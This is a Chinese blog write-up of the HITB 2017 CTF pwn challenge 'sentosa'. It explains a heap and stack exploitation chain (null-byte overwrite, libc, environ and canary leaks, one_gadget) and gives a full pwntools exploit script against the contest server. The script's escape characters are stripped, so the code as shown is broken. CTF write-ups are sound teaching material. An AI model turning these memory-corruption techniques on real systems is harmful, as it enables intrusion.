hitb2017 sentosa writeup

我都快忘了我还有个博客了。。。

这次有幸被XMAN夏令营选为代表去新加坡参加htib线下赛（其实由于太菜变成了新加坡5日游。。。），pwn题被虐哭，在此我要再次感谢一下BrieflyX大佬，要不是出了这道sentosa我们队就会面临一道pwn都做不出来的窘境。：）

这道题是一道很常规的题，没有什么骚套路，就是简单粗暴的栈溢出。不过由于开了PIE和canary，所以需要泄露堆地址、泄露libc基址、泄露栈地址、泄露canary。

当输入长度，即a2，为0时，会导致v2变成0xffffffff，造成一个溢出，但是最后会加上一个0，所以无法直接泄露canary。

这里利用null byte attack，用最后的0覆盖addr的最低位，导致堆指针发生变化，提前构造fastbin链表使堆上残留一个fd指针，从而泄露堆地址。然后伪造一个smallbin，修改addr然后free掉从而泄露出libc基址。然后泄露libc中的environ变量得到栈地址。最后泄露canary，然后就可以各种姿势拿flag。

注：由于堆布局的原因，泄露堆地址时首字节泄露不出来。不过首字节大概率为0x55，小概率为0x56，极小概率为0x54，所以直接硬编码为0x55，exp成功率并不是100%，不过失败了多试几次就行了。

from pwn import *
import os
from ctypes import *

context.log_level = 'debug'

DEBUG = False

elf = ELF('./sentosa')
libc = ELF('./libc.so.6')

env = os.environ

env['LD_PRELOAD'] = './libc.so.6'

if DEBUG:
    p = process('./sentosa', env=env)
    #raw_input('go')
else:
    p = remote('47.74.144.222', 20007)

def start_project(size, name='0', price=0, area=0, capacity=0):
    p.recvuntil('5. Exit
')
    p.sendline('1')
    p.recvuntil('name: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline(name)
    p.recvuntil('price: ')
    p.sendline(str(price))
    p.recvuntil('area: ')
    p.sendline(str(area))
    p.recvuntil('capacity: ')
    p.sendline(str(capacity))

def cancel_project(number):
    p.recvuntil('5. Exit
')
    p.sendline('4')
    p.recvuntil('Input your projects number: ')
    p.sendline(str(number))

start_project(3)
start_project(3)
start_project(3)
start_project(3)
cancel_project(1)
cancel_project(0)
cancel_project(2)

start_project(0, 'A'*(0x98-0x3e))


p.recvuntil('5. Exit
')
p.sendline('2')
p.recvuntil('Area: ')
a = p.recvuntil('
Capacity: ', drop=True)
b = p.recvuntil('
Project: ', drop=True)
a = c_uint(int(a, 10)).value
b = c_uint(int(b, 10)).value

heap = 0x550000000000 + b*0x100

print hex(heap)

start_project(43, 'B'*36+p32(0xc1), 0x10000)
start_project(43)
start_project(43)
start_project(43)
start_project(0, 'C'*(0x98-0x3e)+p64(heap+0xc0))

cancel_project(6)

start_project(0, 'D'*(0x98-0x3e)+p64(heap+0xbc))

p.recvuntil('5. Exit
')
p.sendline('2')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Project: ')

libc_base = u64(p.recvuntil('
Price: ', drop=True).ljust(8, 'x00')) - 0x3c3b78

environ = libc_base + libc.symbols['environ']
one_gadget = libc_base + 0xf0567

start_project(27)

start_project(27+16)

start_project(0, 'E'*(0x98-0x3e)+p64(environ-4))

p.recvuntil('5. Exit
')
p.sendline('2')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Project: ')

stack = u64(p.recvuntil('
Price: ', drop=True).ljust(8, 'x00'))

print hex(stack) # 0x7ffc42a071a8

start_project(0, 'F'*(0x98-0x3e)+p64(stack-0x133))

p.recvuntil('5. Exit
')
p.sendline('2')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Capacity: 0
')
p.recvuntil('Project: ')

canary = p.recvuntil('
Price: ', drop=True)

assert len(canary) == 7

canary = u64('x00'+canary)

print hex(one_gadget)

#raw_input('go')

start_project(0, 'C'*0x68 + p64(canary) + 'D'*0x28 + p64(one_gadget))

p.interactive()